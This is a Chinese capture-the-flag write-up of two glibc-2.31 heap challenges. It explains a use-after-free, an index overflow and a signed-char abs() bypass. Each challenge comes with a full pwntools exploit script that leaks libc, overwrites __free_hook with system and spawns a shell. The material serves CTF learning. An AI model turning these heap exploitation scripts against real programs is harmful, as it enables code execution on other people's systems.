前言
这次比赛,一言难尽。惨痛爆0!终归是PWN👶,还需大量学习,不断进步。
note1
这道题目其实不难,但是比赛时就是一下子没想通,导致一直出不来
image-20211103105150568
一道glibc-2.31下的64位保护全开的堆题
image-20211103105100021
首先会先申请两个堆块,一个存放后续申请的堆块的相关信息,一个用来存放后续申请的堆块的大小和指针
其他的常见功能都具备,不同的地方在于,这题有两种索引方式,一种是正序,一种是逆序。只能对当前堆块进行操作
image-20211103160037818
漏洞点在于释放堆块时,存在UAF
image-20211103161126692
image-20211103163528129
第二个漏洞点在于申请的0x800的堆块实际上是不够存放堆块指针的,因为最多能申请0x100个,每个信息要0x10,总共要0x1000才够。所以在倒序索引的时候,堆块指针存放的地址是可以被我们申请到的,从而修改存放的堆块指针,获得任意写
而地址泄露则是申请大于0x400的堆块,释放后进入unsorted bin来泄露libc地址
image-20211103163650482
getshell!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
|
from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug') elf = ELF("./note1") libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so") p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
def debug(): gdb.attach(p,"b main") #gdb.attach(p,"b *$rebase(0x)")
def add(size,content): p.sendlineafter("choice: ",'1') p.sendline(str(size)) p.send(content) def edit(content): p.sendlineafter("choice: ",'3') p.send(content)
def show(): p.sendlineafter("choice: ",'4')
def free(): p.sendlineafter("choice: ",'2')
def flip(): p.sendlineafter("choice: ",'5') add(0x500,'a') add(0x20,'b') flip() free() edit('AAAA') add(0x100,'a'*0x8) show() p.recvuntil('a'*0x8) libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x1ec010 log.info("libc_base==>0x%x" %libc_base) free_hook = libc_base + libc.sym['__free_hook'] system = libc_base + libc.sym['system'] add(0x100,'b') add(0x300,'a'*0x2a0 + p64(0x30) + p64(free_hook - 0x8))
flip() debug() edit('/bin/sh\x00' + p64(system))
free()
p.interactive()
|
note2
image-20211103163800323
同样是glibc-2.31下的一道64位堆题
image-20220225163036673
经典菜单题目,存在申请、删除、打印三个功能
image-20220225163156584
add函数,将会申请一个0x20的堆块,可以写入0x10的数据,而主要数据将会再申请一个0x200的堆块进行存放。这里的input函数本来是无法编译出来的。
image-20220225163336928
将call的地址修改为函数里面的地址,即可正常编译,看到伪代码。里面不存在问题,就是正常的实现一个输入内容的功能。
image-20220225163504065
image-20220226131357634
image-20220226131414262
这里的因为char是有符号的类型,所以可以输入0x80这个特殊的数值,从而让abs函数失效,失效后的传出的数值就是-128,可以让创建的heap地址写入的heap_inuse[0],heap_inuse[1]上
image-20220226131554100
在释放功能里面,只是清空了heap_inuse,其他的堆地址仍然保留
image-20220226131658741
那么就可以借助前面的-128导致heap_inuse前面两个是可以通过检验,继而打印出0x200上的数据,所以只要让0x200的堆块上存放着libc地址,即可造成泄露。
image-20220226132043205
先释放一连串堆块,填满tcache
image-20220226154345777
经过构造,致使两块0x210堆块合并
image-20220226154457992
image-20220226154516240
将之前释放的堆块申请回来,最后再申请位于unsorted bin里面的合并堆块,导致前一块的0x200数据堆块可以覆盖到残留的0号堆块的fd、bk指针,到这里,这题就差不多完成了。之后就是申请0x80号堆块,打印出0号堆块数据块上的残留libc地址。之后再利用此时的覆盖数据,在释放0号堆块后,修改其fd指针指向free_hook,最终分配过去修改为system
image-20220226153827796
getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
|
from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug') elf = ELF("./note2") libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so") p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path}) def debug(): gdb.attach(p,"b main")
def add(name, content, flag=1): p.sendlineafter("choice: ",'1') p.recvuntil("name: ") if flag: p.sendline(name) else: p.send(name) p.recvuntil("data: ") p.sendline(content) def show(idx): p.sendlineafter("choice: ",'3') p.recvuntil("index: ") p.sendline(str(idx))
def free(idx): p.sendlineafter("choice: ",'2') p.recvuntil("index: ") p.sendline(str(idx))
for i in range(8): add(p64(1), 'a') free(1) for i in range(6): add(p64(1), 'a') add(p64(2), 'a') add(p64(0), 'a') add(p64(3), 'a') add(p64(4), 'a') free(1) free(3)
free(0) free(2)
for i in range(7): add(p64(5), 'a') add(p64(6), 'a')
for i in range(8): add(p64(7), 'a') free(7) add(p64(0x80), 'a') show(0) p.recvuntil('-> ') libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x1ebbe0 log.info("libc_base==>0x%x" %libc_base) free_hook = libc_base + libc.sym['__free_hook'] sys = libc_base + libc.sym['system']
for i in range(4): add(p64(8), 'a') free(0) free(6) add(p64(6), "A"*0xB0+p64(0)+p64(0x211)+p64(free_hook)) add(p64(0), '/bin/sh\x00') add(p64(1), p64(sys)) free(0)
p.interactive()
|
wp来源:https://blog.csdn.net/qq_38154820/article/details/118773473